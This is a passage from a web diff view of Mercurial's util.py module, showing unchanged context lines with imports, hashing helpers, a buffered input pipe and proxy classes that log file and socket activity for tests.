##// END OF EJS Templates
util: make util.url __repr__ consistent on Python 2 and 3...
Augie Fackler -
r37890:bb1b15ac default
parent child Browse files
Show More
@@ -1,3874 +1,3874
1 1 # util.py - Mercurial utility functions and platform specific implementations
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 """Mercurial utility functions and platform specific implementations.
11 11
12 12 This contains helper routines that are independent of the SCM core and
13 13 hide platform-specific details from the core.
14 14 """
15 15
16 16 from __future__ import absolute_import, print_function
17 17
18 18 import abc
19 19 import bz2
20 20 import collections
21 21 import contextlib
22 22 import errno
23 23 import gc
24 24 import hashlib
25 25 import itertools
26 26 import mmap
27 27 import os
28 28 import platform as pyplatform
29 29 import re as remod
30 30 import shutil
31 31 import socket
32 32 import stat
33 33 import sys
34 34 import tempfile
35 35 import time
36 36 import traceback
37 37 import warnings
38 38 import zlib
39 39
40 40 from . import (
41 41 encoding,
42 42 error,
43 43 i18n,
44 44 node as nodemod,
45 45 policy,
46 46 pycompat,
47 47 urllibcompat,
48 48 )
49 49 from .utils import (
50 50 dateutil,
51 51 procutil,
52 52 stringutil,
53 53 )
54 54
55 55 base85 = policy.importmod(r'base85')
56 56 osutil = policy.importmod(r'osutil')
57 57 parsers = policy.importmod(r'parsers')
58 58
59 59 b85decode = base85.b85decode
60 60 b85encode = base85.b85encode
61 61
62 62 cookielib = pycompat.cookielib
63 63 httplib = pycompat.httplib
64 64 pickle = pycompat.pickle
65 65 safehasattr = pycompat.safehasattr
66 66 socketserver = pycompat.socketserver
67 67 bytesio = pycompat.bytesio
68 68 # TODO deprecate stringio name, as it is a lie on Python 3.
69 69 stringio = bytesio
70 70 xmlrpclib = pycompat.xmlrpclib
71 71
72 72 httpserver = urllibcompat.httpserver
73 73 urlerr = urllibcompat.urlerr
74 74 urlreq = urllibcompat.urlreq
75 75
76 76 # workaround for win32mbcs
77 77 _filenamebytestr = pycompat.bytestr
78 78
79 79 if pycompat.iswindows:
80 80 from . import windows as platform
81 81 else:
82 82 from . import posix as platform
83 83
84 84 _ = i18n._
85 85
86 86 bindunixsocket = platform.bindunixsocket
87 87 cachestat = platform.cachestat
88 88 checkexec = platform.checkexec
89 89 checklink = platform.checklink
90 90 copymode = platform.copymode
91 91 expandglobs = platform.expandglobs
92 92 getfsmountpoint = platform.getfsmountpoint
93 93 getfstype = platform.getfstype
94 94 groupmembers = platform.groupmembers
95 95 groupname = platform.groupname
96 96 isexec = platform.isexec
97 97 isowner = platform.isowner
98 98 listdir = osutil.listdir
99 99 localpath = platform.localpath
100 100 lookupreg = platform.lookupreg
101 101 makedir = platform.makedir
102 102 nlinks = platform.nlinks
103 103 normpath = platform.normpath
104 104 normcase = platform.normcase
105 105 normcasespec = platform.normcasespec
106 106 normcasefallback = platform.normcasefallback
107 107 openhardlinks = platform.openhardlinks
108 108 oslink = platform.oslink
109 109 parsepatchoutput = platform.parsepatchoutput
110 110 pconvert = platform.pconvert
111 111 poll = platform.poll
112 112 posixfile = platform.posixfile
113 113 rename = platform.rename
114 114 removedirs = platform.removedirs
115 115 samedevice = platform.samedevice
116 116 samefile = platform.samefile
117 117 samestat = platform.samestat
118 118 setflags = platform.setflags
119 119 split = platform.split
120 120 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
121 121 statisexec = platform.statisexec
122 122 statislink = platform.statislink
123 123 umask = platform.umask
124 124 unlink = platform.unlink
125 125 username = platform.username
126 126
127 127 try:
128 128 recvfds = osutil.recvfds
129 129 except AttributeError:
130 130 pass
131 131
132 132 # Python compatibility
133 133
134 134 _notset = object()
135 135
136 136 def _rapply(f, xs):
137 137 if xs is None:
138 138 # assume None means non-value of optional data
139 139 return xs
140 140 if isinstance(xs, (list, set, tuple)):
141 141 return type(xs)(_rapply(f, x) for x in xs)
142 142 if isinstance(xs, dict):
143 143 return type(xs)((_rapply(f, k), _rapply(f, v)) for k, v in xs.items())
144 144 return f(xs)
145 145
146 146 def rapply(f, xs):
147 147 """Apply function recursively to every item preserving the data structure
148 148
149 149 >>> def f(x):
150 150 ... return 'f(%s)' % x
151 151 >>> rapply(f, None) is None
152 152 True
153 153 >>> rapply(f, 'a')
154 154 'f(a)'
155 155 >>> rapply(f, {'a'}) == {'f(a)'}
156 156 True
157 157 >>> rapply(f, ['a', 'b', None, {'c': 'd'}, []])
158 158 ['f(a)', 'f(b)', None, {'f(c)': 'f(d)'}, []]
159 159
160 160 >>> xs = [object()]
161 161 >>> rapply(pycompat.identity, xs) is xs
162 162 True
163 163 """
164 164 if f is pycompat.identity:
165 165 # fast path mainly for py2
166 166 return xs
167 167 return _rapply(f, xs)
168 168
169 169 def bitsfrom(container):
170 170 bits = 0
171 171 for bit in container:
172 172 bits |= bit
173 173 return bits
174 174
175 175 # python 2.6 still have deprecation warning enabled by default. We do not want
176 176 # to display anything to standard user so detect if we are running test and
177 177 # only use python deprecation warning in this case.
178 178 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
179 179 if _dowarn:
180 180 # explicitly unfilter our warning for python 2.7
181 181 #
182 182 # The option of setting PYTHONWARNINGS in the test runner was investigated.
183 183 # However, module name set through PYTHONWARNINGS was exactly matched, so
184 184 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
185 185 # makes the whole PYTHONWARNINGS thing useless for our usecase.
186 186 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
187 187 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
188 188 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
189 189 if _dowarn and pycompat.ispy3:
190 190 # silence warning emitted by passing user string to re.sub()
191 191 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
192 192 r'mercurial')
193 193 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
194 194 DeprecationWarning, r'mercurial')
195 195 # TODO: reinvent imp.is_frozen()
196 196 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
197 197 DeprecationWarning, r'mercurial')
198 198
199 199 def nouideprecwarn(msg, version, stacklevel=1):
200 200 """Issue an python native deprecation warning
201 201
202 202 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
203 203 """
204 204 if _dowarn:
205 205 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
206 206 " update your code.)") % version
207 207 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
208 208
209 209 DIGESTS = {
210 210 'md5': hashlib.md5,
211 211 'sha1': hashlib.sha1,
212 212 'sha512': hashlib.sha512,
213 213 }
214 214 # List of digest types from strongest to weakest
215 215 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
216 216
217 217 for k in DIGESTS_BY_STRENGTH:
218 218 assert k in DIGESTS
219 219
220 220 class digester(object):
221 221 """helper to compute digests.
222 222
223 223 This helper can be used to compute one or more digests given their name.
224 224
225 225 >>> d = digester([b'md5', b'sha1'])
226 226 >>> d.update(b'foo')
227 227 >>> [k for k in sorted(d)]
228 228 ['md5', 'sha1']
229 229 >>> d[b'md5']
230 230 'acbd18db4cc2f85cedef654fccc4a4d8'
231 231 >>> d[b'sha1']
232 232 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
233 233 >>> digester.preferred([b'md5', b'sha1'])
234 234 'sha1'
235 235 """
236 236
237 237 def __init__(self, digests, s=''):
238 238 self._hashes = {}
239 239 for k in digests:
240 240 if k not in DIGESTS:
241 241 raise error.Abort(_('unknown digest type: %s') % k)
242 242 self._hashes[k] = DIGESTS[k]()
243 243 if s:
244 244 self.update(s)
245 245
246 246 def update(self, data):
247 247 for h in self._hashes.values():
248 248 h.update(data)
249 249
250 250 def __getitem__(self, key):
251 251 if key not in DIGESTS:
252 252 raise error.Abort(_('unknown digest type: %s') % k)
253 253 return nodemod.hex(self._hashes[key].digest())
254 254
255 255 def __iter__(self):
256 256 return iter(self._hashes)
257 257
258 258 @staticmethod
259 259 def preferred(supported):
260 260 """returns the strongest digest type in both supported and DIGESTS."""
261 261
262 262 for k in DIGESTS_BY_STRENGTH:
263 263 if k in supported:
264 264 return k
265 265 return None
266 266
267 267 class digestchecker(object):
268 268 """file handle wrapper that additionally checks content against a given
269 269 size and digests.
270 270
271 271 d = digestchecker(fh, size, {'md5': '...'})
272 272
273 273 When multiple digests are given, all of them are validated.
274 274 """
275 275
276 276 def __init__(self, fh, size, digests):
277 277 self._fh = fh
278 278 self._size = size
279 279 self._got = 0
280 280 self._digests = dict(digests)
281 281 self._digester = digester(self._digests.keys())
282 282
283 283 def read(self, length=-1):
284 284 content = self._fh.read(length)
285 285 self._digester.update(content)
286 286 self._got += len(content)
287 287 return content
288 288
289 289 def validate(self):
290 290 if self._size != self._got:
291 291 raise error.Abort(_('size mismatch: expected %d, got %d') %
292 292 (self._size, self._got))
293 293 for k, v in self._digests.items():
294 294 if v != self._digester[k]:
295 295 # i18n: first parameter is a digest name
296 296 raise error.Abort(_('%s mismatch: expected %s, got %s') %
297 297 (k, v, self._digester[k]))
298 298
299 299 try:
300 300 buffer = buffer
301 301 except NameError:
302 302 def buffer(sliceable, offset=0, length=None):
303 303 if length is not None:
304 304 return memoryview(sliceable)[offset:offset + length]
305 305 return memoryview(sliceable)[offset:]
306 306
307 307 _chunksize = 4096
308 308
309 309 class bufferedinputpipe(object):
310 310 """a manually buffered input pipe
311 311
312 312 Python will not let us use buffered IO and lazy reading with 'polling' at
313 313 the same time. We cannot probe the buffer state and select will not detect
314 314 that data are ready to read if they are already buffered.
315 315
316 316 This class let us work around that by implementing its own buffering
317 317 (allowing efficient readline) while offering a way to know if the buffer is
318 318 empty from the output (allowing collaboration of the buffer with polling).
319 319
320 320 This class lives in the 'util' module because it makes use of the 'os'
321 321 module from the python stdlib.
322 322 """
323 323 def __new__(cls, fh):
324 324 # If we receive a fileobjectproxy, we need to use a variation of this
325 325 # class that notifies observers about activity.
326 326 if isinstance(fh, fileobjectproxy):
327 327 cls = observedbufferedinputpipe
328 328
329 329 return super(bufferedinputpipe, cls).__new__(cls)
330 330
331 331 def __init__(self, input):
332 332 self._input = input
333 333 self._buffer = []
334 334 self._eof = False
335 335 self._lenbuf = 0
336 336
337 337 @property
338 338 def hasbuffer(self):
339 339 """True is any data is currently buffered
340 340
341 341 This will be used externally a pre-step for polling IO. If there is
342 342 already data then no polling should be set in place."""
343 343 return bool(self._buffer)
344 344
345 345 @property
346 346 def closed(self):
347 347 return self._input.closed
348 348
349 349 def fileno(self):
350 350 return self._input.fileno()
351 351
352 352 def close(self):
353 353 return self._input.close()
354 354
355 355 def read(self, size):
356 356 while (not self._eof) and (self._lenbuf < size):
357 357 self._fillbuffer()
358 358 return self._frombuffer(size)
359 359
360 360 def readline(self, *args, **kwargs):
361 361 if 1 < len(self._buffer):
362 362 # this should not happen because both read and readline end with a
363 363 # _frombuffer call that collapse it.
364 364 self._buffer = [''.join(self._buffer)]
365 365 self._lenbuf = len(self._buffer[0])
366 366 lfi = -1
367 367 if self._buffer:
368 368 lfi = self._buffer[-1].find('\n')
369 369 while (not self._eof) and lfi < 0:
370 370 self._fillbuffer()
371 371 if self._buffer:
372 372 lfi = self._buffer[-1].find('\n')
373 373 size = lfi + 1
374 374 if lfi < 0: # end of file
375 375 size = self._lenbuf
376 376 elif 1 < len(self._buffer):
377 377 # we need to take previous chunks into account
378 378 size += self._lenbuf - len(self._buffer[-1])
379 379 return self._frombuffer(size)
380 380
381 381 def _frombuffer(self, size):
382 382 """return at most 'size' data from the buffer
383 383
384 384 The data are removed from the buffer."""
385 385 if size == 0 or not self._buffer:
386 386 return ''
387 387 buf = self._buffer[0]
388 388 if 1 < len(self._buffer):
389 389 buf = ''.join(self._buffer)
390 390
391 391 data = buf[:size]
392 392 buf = buf[len(data):]
393 393 if buf:
394 394 self._buffer = [buf]
395 395 self._lenbuf = len(buf)
396 396 else:
397 397 self._buffer = []
398 398 self._lenbuf = 0
399 399 return data
400 400
401 401 def _fillbuffer(self):
402 402 """read data to the buffer"""
403 403 data = os.read(self._input.fileno(), _chunksize)
404 404 if not data:
405 405 self._eof = True
406 406 else:
407 407 self._lenbuf += len(data)
408 408 self._buffer.append(data)
409 409
410 410 return data
411 411
412 412 def mmapread(fp):
413 413 try:
414 414 fd = getattr(fp, 'fileno', lambda: fp)()
415 415 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
416 416 except ValueError:
417 417 # Empty files cannot be mmapped, but mmapread should still work. Check
418 418 # if the file is empty, and if so, return an empty buffer.
419 419 if os.fstat(fd).st_size == 0:
420 420 return ''
421 421 raise
422 422
423 423 class fileobjectproxy(object):
424 424 """A proxy around file objects that tells a watcher when events occur.
425 425
426 426 This type is intended to only be used for testing purposes. Think hard
427 427 before using it in important code.
428 428 """
429 429 __slots__ = (
430 430 r'_orig',
431 431 r'_observer',
432 432 )
433 433
434 434 def __init__(self, fh, observer):
435 435 object.__setattr__(self, r'_orig', fh)
436 436 object.__setattr__(self, r'_observer', observer)
437 437
438 438 def __getattribute__(self, name):
439 439 ours = {
440 440 r'_observer',
441 441
442 442 # IOBase
443 443 r'close',
444 444 # closed if a property
445 445 r'fileno',
446 446 r'flush',
447 447 r'isatty',
448 448 r'readable',
449 449 r'readline',
450 450 r'readlines',
451 451 r'seek',
452 452 r'seekable',
453 453 r'tell',
454 454 r'truncate',
455 455 r'writable',
456 456 r'writelines',
457 457 # RawIOBase
458 458 r'read',
459 459 r'readall',
460 460 r'readinto',
461 461 r'write',
462 462 # BufferedIOBase
463 463 # raw is a property
464 464 r'detach',
465 465 # read defined above
466 466 r'read1',
467 467 # readinto defined above
468 468 # write defined above
469 469 }
470 470
471 471 # We only observe some methods.
472 472 if name in ours:
473 473 return object.__getattribute__(self, name)
474 474
475 475 return getattr(object.__getattribute__(self, r'_orig'), name)
476 476
477 477 def __nonzero__(self):
478 478 return bool(object.__getattribute__(self, r'_orig'))
479 479
480 480 __bool__ = __nonzero__
481 481
482 482 def __delattr__(self, name):
483 483 return delattr(object.__getattribute__(self, r'_orig'), name)
484 484
485 485 def __setattr__(self, name, value):
486 486 return setattr(object.__getattribute__(self, r'_orig'), name, value)
487 487
488 488 def __iter__(self):
489 489 return object.__getattribute__(self, r'_orig').__iter__()
490 490
491 491 def _observedcall(self, name, *args, **kwargs):
492 492 # Call the original object.
493 493 orig = object.__getattribute__(self, r'_orig')
494 494 res = getattr(orig, name)(*args, **kwargs)
495 495
496 496 # Call a method on the observer of the same name with arguments
497 497 # so it can react, log, etc.
498 498 observer = object.__getattribute__(self, r'_observer')
499 499 fn = getattr(observer, name, None)
500 500 if fn:
501 501 fn(res, *args, **kwargs)
502 502
503 503 return res
504 504
505 505 def close(self, *args, **kwargs):
506 506 return object.__getattribute__(self, r'_observedcall')(
507 507 r'close', *args, **kwargs)
508 508
509 509 def fileno(self, *args, **kwargs):
510 510 return object.__getattribute__(self, r'_observedcall')(
511 511 r'fileno', *args, **kwargs)
512 512
513 513 def flush(self, *args, **kwargs):
514 514 return object.__getattribute__(self, r'_observedcall')(
515 515 r'flush', *args, **kwargs)
516 516
517 517 def isatty(self, *args, **kwargs):
518 518 return object.__getattribute__(self, r'_observedcall')(
519 519 r'isatty', *args, **kwargs)
520 520
521 521 def readable(self, *args, **kwargs):
522 522 return object.__getattribute__(self, r'_observedcall')(
523 523 r'readable', *args, **kwargs)
524 524
525 525 def readline(self, *args, **kwargs):
526 526 return object.__getattribute__(self, r'_observedcall')(
527 527 r'readline', *args, **kwargs)
528 528
529 529 def readlines(self, *args, **kwargs):
530 530 return object.__getattribute__(self, r'_observedcall')(
531 531 r'readlines', *args, **kwargs)
532 532
533 533 def seek(self, *args, **kwargs):
534 534 return object.__getattribute__(self, r'_observedcall')(
535 535 r'seek', *args, **kwargs)
536 536
537 537 def seekable(self, *args, **kwargs):
538 538 return object.__getattribute__(self, r'_observedcall')(
539 539 r'seekable', *args, **kwargs)
540 540
541 541 def tell(self, *args, **kwargs):
542 542 return object.__getattribute__(self, r'_observedcall')(
543 543 r'tell', *args, **kwargs)
544 544
545 545 def truncate(self, *args, **kwargs):
546 546 return object.__getattribute__(self, r'_observedcall')(
547 547 r'truncate', *args, **kwargs)
548 548
549 549 def writable(self, *args, **kwargs):
550 550 return object.__getattribute__(self, r'_observedcall')(
551 551 r'writable', *args, **kwargs)
552 552
553 553 def writelines(self, *args, **kwargs):
554 554 return object.__getattribute__(self, r'_observedcall')(
555 555 r'writelines', *args, **kwargs)
556 556
557 557 def read(self, *args, **kwargs):
558 558 return object.__getattribute__(self, r'_observedcall')(
559 559 r'read', *args, **kwargs)
560 560
561 561 def readall(self, *args, **kwargs):
562 562 return object.__getattribute__(self, r'_observedcall')(
563 563 r'readall', *args, **kwargs)
564 564
565 565 def readinto(self, *args, **kwargs):
566 566 return object.__getattribute__(self, r'_observedcall')(
567 567 r'readinto', *args, **kwargs)
568 568
569 569 def write(self, *args, **kwargs):
570 570 return object.__getattribute__(self, r'_observedcall')(
571 571 r'write', *args, **kwargs)
572 572
573 573 def detach(self, *args, **kwargs):
574 574 return object.__getattribute__(self, r'_observedcall')(
575 575 r'detach', *args, **kwargs)
576 576
577 577 def read1(self, *args, **kwargs):
578 578 return object.__getattribute__(self, r'_observedcall')(
579 579 r'read1', *args, **kwargs)
580 580
581 581 class observedbufferedinputpipe(bufferedinputpipe):
582 582 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
583 583
584 584 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
585 585 bypass ``fileobjectproxy``. Because of this, we need to make
586 586 ``bufferedinputpipe`` aware of these operations.
587 587
588 588 This variation of ``bufferedinputpipe`` can notify observers about
589 589 ``os.read()`` events. It also re-publishes other events, such as
590 590 ``read()`` and ``readline()``.
591 591 """
592 592 def _fillbuffer(self):
593 593 res = super(observedbufferedinputpipe, self)._fillbuffer()
594 594
595 595 fn = getattr(self._input._observer, r'osread', None)
596 596 if fn:
597 597 fn(res, _chunksize)
598 598
599 599 return res
600 600
601 601 # We use different observer methods because the operation isn't
602 602 # performed on the actual file object but on us.
603 603 def read(self, size):
604 604 res = super(observedbufferedinputpipe, self).read(size)
605 605
606 606 fn = getattr(self._input._observer, r'bufferedread', None)
607 607 if fn:
608 608 fn(res, size)
609 609
610 610 return res
611 611
612 612 def readline(self, *args, **kwargs):
613 613 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
614 614
615 615 fn = getattr(self._input._observer, r'bufferedreadline', None)
616 616 if fn:
617 617 fn(res)
618 618
619 619 return res
620 620
621 621 PROXIED_SOCKET_METHODS = {
622 622 r'makefile',
623 623 r'recv',
624 624 r'recvfrom',
625 625 r'recvfrom_into',
626 626 r'recv_into',
627 627 r'send',
628 628 r'sendall',
629 629 r'sendto',
630 630 r'setblocking',
631 631 r'settimeout',
632 632 r'gettimeout',
633 633 r'setsockopt',
634 634 }
635 635
636 636 class socketproxy(object):
637 637 """A proxy around a socket that tells a watcher when events occur.
638 638
639 639 This is like ``fileobjectproxy`` except for sockets.
640 640
641 641 This type is intended to only be used for testing purposes. Think hard
642 642 before using it in important code.
643 643 """
644 644 __slots__ = (
645 645 r'_orig',
646 646 r'_observer',
647 647 )
648 648
649 649 def __init__(self, sock, observer):
650 650 object.__setattr__(self, r'_orig', sock)
651 651 object.__setattr__(self, r'_observer', observer)
652 652
653 653 def __getattribute__(self, name):
654 654 if name in PROXIED_SOCKET_METHODS:
655 655 return object.__getattribute__(self, name)
656 656
657 657 return getattr(object.__getattribute__(self, r'_orig'), name)
658 658
659 659 def __delattr__(self, name):
660 660 return delattr(object.__getattribute__(self, r'_orig'), name)
661 661
662 662 def __setattr__(self, name, value):
663 663 return setattr(object.__getattribute__(self, r'_orig'), name, value)
664 664
665 665 def __nonzero__(self):
666 666 return bool(object.__getattribute__(self, r'_orig'))
667 667
668 668 __bool__ = __nonzero__
669 669
670 670 def _observedcall(self, name, *args, **kwargs):
671 671 # Call the original object.
672 672 orig = object.__getattribute__(self, r'_orig')
673 673 res = getattr(orig, name)(*args, **kwargs)
674 674
675 675 # Call a method on the observer of the same name with arguments
676 676 # so it can react, log, etc.
677 677 observer = object.__getattribute__(self, r'_observer')
678 678 fn = getattr(observer, name, None)
679 679 if fn:
680 680 fn(res, *args, **kwargs)
681 681
682 682 return res
683 683
684 684 def makefile(self, *args, **kwargs):
685 685 res = object.__getattribute__(self, r'_observedcall')(
686 686 r'makefile', *args, **kwargs)
687 687
688 688 # The file object may be used for I/O. So we turn it into a
689 689 # proxy using our observer.
690 690 observer = object.__getattribute__(self, r'_observer')
691 691 return makeloggingfileobject(observer.fh, res, observer.name,
692 692 reads=observer.reads,
693 693 writes=observer.writes,
694 694 logdata=observer.logdata,
695 695 logdataapis=observer.logdataapis)
696 696
697 697 def recv(self, *args, **kwargs):
698 698 return object.__getattribute__(self, r'_observedcall')(
699 699 r'recv', *args, **kwargs)
700 700
701 701 def recvfrom(self, *args, **kwargs):
702 702 return object.__getattribute__(self, r'_observedcall')(
703 703 r'recvfrom', *args, **kwargs)
704 704
705 705 def recvfrom_into(self, *args, **kwargs):
706 706 return object.__getattribute__(self, r'_observedcall')(
707 707 r'recvfrom_into', *args, **kwargs)
708 708
709 709 def recv_into(self, *args, **kwargs):
710 710 return object.__getattribute__(self, r'_observedcall')(
711 711 r'recv_info', *args, **kwargs)
712 712
713 713 def send(self, *args, **kwargs):
714 714 return object.__getattribute__(self, r'_observedcall')(
715 715 r'send', *args, **kwargs)
716 716
717 717 def sendall(self, *args, **kwargs):
718 718 return object.__getattribute__(self, r'_observedcall')(
719 719 r'sendall', *args, **kwargs)
720 720
721 721 def sendto(self, *args, **kwargs):
722 722 return object.__getattribute__(self, r'_observedcall')(
723 723 r'sendto', *args, **kwargs)
724 724
725 725 def setblocking(self, *args, **kwargs):
726 726 return object.__getattribute__(self, r'_observedcall')(
727 727 r'setblocking', *args, **kwargs)
728 728
729 729 def settimeout(self, *args, **kwargs):
730 730 return object.__getattribute__(self, r'_observedcall')(
731 731 r'settimeout', *args, **kwargs)
732 732
733 733 def gettimeout(self, *args, **kwargs):
734 734 return object.__getattribute__(self, r'_observedcall')(
735 735 r'gettimeout', *args, **kwargs)
736 736
737 737 def setsockopt(self, *args, **kwargs):
738 738 return object.__getattribute__(self, r'_observedcall')(
739 739 r'setsockopt', *args, **kwargs)
740 740
741 741 class baseproxyobserver(object):
742 742 def _writedata(self, data):
743 743 if not self.logdata:
744 744 if self.logdataapis:
745 745 self.fh.write('\n')
746 746 self.fh.flush()
747 747 return
748 748
749 749 # Simple case writes all data on a single line.
750 750 if b'\n' not in data:
751 751 if self.logdataapis:
752 752 self.fh.write(': %s\n' % stringutil.escapestr(data))
753 753 else:
754 754 self.fh.write('%s> %s\n'
755 755 % (self.name, stringutil.escapestr(data)))
756 756 self.fh.flush()
757 757 return
758 758
759 759 # Data with newlines is written to multiple lines.
760 760 if self.logdataapis:
761 761 self.fh.write(':\n')
762 762
763 763 lines = data.splitlines(True)
764 764 for line in lines:
765 765 self.fh.write('%s> %s\n'
766 766 % (self.name, stringutil.escapestr(line)))
767 767 self.fh.flush()
768 768
769 769 class fileobjectobserver(baseproxyobserver):
770 770 """Logs file object activity."""
771 771 def __init__(self, fh, name, reads=True, writes=True, logdata=False,
772 772 logdataapis=True):
773 773 self.fh = fh
774 774 self.name = name
775 775 self.logdata = logdata
776 776 self.logdataapis = logdataapis
777 777 self.reads = reads
778 778 self.writes = writes
779 779
780 780 def read(self, res, size=-1):
781 781 if not self.reads:
782 782 return
783 783 # Python 3 can return None from reads at EOF instead of empty strings.
784 784 if res is None:
785 785 res = ''
786 786
787 787 if self.logdataapis:
788 788 self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
789 789
790 790 self._writedata(res)
791 791
792 792 def readline(self, res, limit=-1):
793 793 if not self.reads:
794 794 return
795 795
796 796 if self.logdataapis:
797 797 self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
798 798
799 799 self._writedata(res)
800 800
801 801 def readinto(self, res, dest):
802 802 if not self.reads:
803 803 return
804 804
805 805 if self.logdataapis:
806 806 self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
807 807 res))
808 808
809 809 data = dest[0:res] if res is not None else b''
810 810 self._writedata(data)
811 811
812 812 def write(self, res, data):
813 813 if not self.writes:
814 814 return
815 815
816 816 # Python 2 returns None from some write() calls. Python 3 (reasonably)
817 817 # returns the integer bytes written.
818 818 if res is None and data:
819 819 res = len(data)
820 820
821 821 if self.logdataapis:
822 822 self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
823 823
824 824 self._writedata(data)
825 825
826 826 def flush(self, res):
827 827 if not self.writes:
828 828 return
829 829
830 830 self.fh.write('%s> flush() -> %r\n' % (self.name, res))
831 831
832 832 # For observedbufferedinputpipe.
833 833 def bufferedread(self, res, size):
834 834 if not self.reads:
835 835 return
836 836
837 837 if self.logdataapis:
838 838 self.fh.write('%s> bufferedread(%d) -> %d' % (
839 839 self.name, size, len(res)))
840 840
841 841 self._writedata(res)
842 842
843 843 def bufferedreadline(self, res):
844 844 if not self.reads:
845 845 return
846 846
847 847 if self.logdataapis:
848 848 self.fh.write('%s> bufferedreadline() -> %d' % (
849 849 self.name, len(res)))
850 850
851 851 self._writedata(res)
852 852
853 853 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
854 854 logdata=False, logdataapis=True):
855 855 """Turn a file object into a logging file object."""
856 856
857 857 observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
858 858 logdata=logdata, logdataapis=logdataapis)
859 859 return fileobjectproxy(fh, observer)
860 860
861 861 class socketobserver(baseproxyobserver):
862 862 """Logs socket activity."""
863 863 def __init__(self, fh, name, reads=True, writes=True, states=True,
864 864 logdata=False, logdataapis=True):
865 865 self.fh = fh
866 866 self.name = name
867 867 self.reads = reads
868 868 self.writes = writes
869 869 self.states = states
870 870 self.logdata = logdata
871 871 self.logdataapis = logdataapis
872 872
873 873 def makefile(self, res, mode=None, bufsize=None):
874 874 if not self.states:
875 875 return
876 876
877 877 self.fh.write('%s> makefile(%r, %r)\n' % (
878 878 self.name, mode, bufsize))
879 879
880 880 def recv(self, res, size, flags=0):
881 881 if not self.reads:
882 882 return
883 883
884 884 if self.logdataapis:
885 885 self.fh.write('%s> recv(%d, %d) -> %d' % (
886 886 self.name, size, flags, len(res)))
887 887 self._writedata(res)
888 888
889 889 def recvfrom(self, res, size, flags=0):
890 890 if not self.reads:
891 891 return
892 892
893 893 if self.logdataapis:
894 894 self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
895 895 self.name, size, flags, len(res[0])))
896 896
897 897 self._writedata(res[0])
898 898
899 899 def recvfrom_into(self, res, buf, size, flags=0):
900 900 if not self.reads:
901 901 return
902 902
903 903 if self.logdataapis:
904 904 self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
905 905 self.name, size, flags, res[0]))
906 906
907 907 self._writedata(buf[0:res[0]])
908 908
909 909 def recv_into(self, res, buf, size=0, flags=0):
910 910 if not self.reads:
911 911 return
912 912
913 913 if self.logdataapis:
914 914 self.fh.write('%s> recv_into(%d, %d) -> %d' % (
915 915 self.name, size, flags, res))
916 916
917 917 self._writedata(buf[0:res])
918 918
919 919 def send(self, res, data, flags=0):
920 920 if not self.writes:
921 921 return
922 922
923 923 self.fh.write('%s> send(%d, %d) -> %d' % (
924 924 self.name, len(data), flags, len(res)))
925 925 self._writedata(data)
926 926
927 927 def sendall(self, res, data, flags=0):
928 928 if not self.writes:
929 929 return
930 930
931 931 if self.logdataapis:
932 932 # Returns None on success. So don't bother reporting return value.
933 933 self.fh.write('%s> sendall(%d, %d)' % (
934 934 self.name, len(data), flags))
935 935
936 936 self._writedata(data)
937 937
938 938 def sendto(self, res, data, flagsoraddress, address=None):
939 939 if not self.writes:
940 940 return
941 941
942 942 if address:
943 943 flags = flagsoraddress
944 944 else:
945 945 flags = 0
946 946
947 947 if self.logdataapis:
948 948 self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
949 949 self.name, len(data), flags, address, res))
950 950
951 951 self._writedata(data)
952 952
953 953 def setblocking(self, res, flag):
954 954 if not self.states:
955 955 return
956 956
957 957 self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
958 958
959 959 def settimeout(self, res, value):
960 960 if not self.states:
961 961 return
962 962
963 963 self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
964 964
965 965 def gettimeout(self, res):
966 966 if not self.states:
967 967 return
968 968
969 969 self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
970 970
971 971 def setsockopt(self, level, optname, value):
972 972 if not self.states:
973 973 return
974 974
975 975 self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
976 976 self.name, level, optname, value))
977 977
978 978 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
979 979 logdata=False, logdataapis=True):
980 980 """Turn a socket into a logging socket."""
981 981
982 982 observer = socketobserver(logh, name, reads=reads, writes=writes,
983 983 states=states, logdata=logdata,
984 984 logdataapis=logdataapis)
985 985 return socketproxy(fh, observer)
986 986
987 987 def version():
988 988 """Return version information if available."""
989 989 try:
990 990 from . import __version__
991 991 return __version__.version
992 992 except ImportError:
993 993 return 'unknown'
994 994
995 995 def versiontuple(v=None, n=4):
996 996 """Parses a Mercurial version string into an N-tuple.
997 997
998 998 The version string to be parsed is specified with the ``v`` argument.
999 999 If it isn't defined, the current Mercurial version string will be parsed.
1000 1000
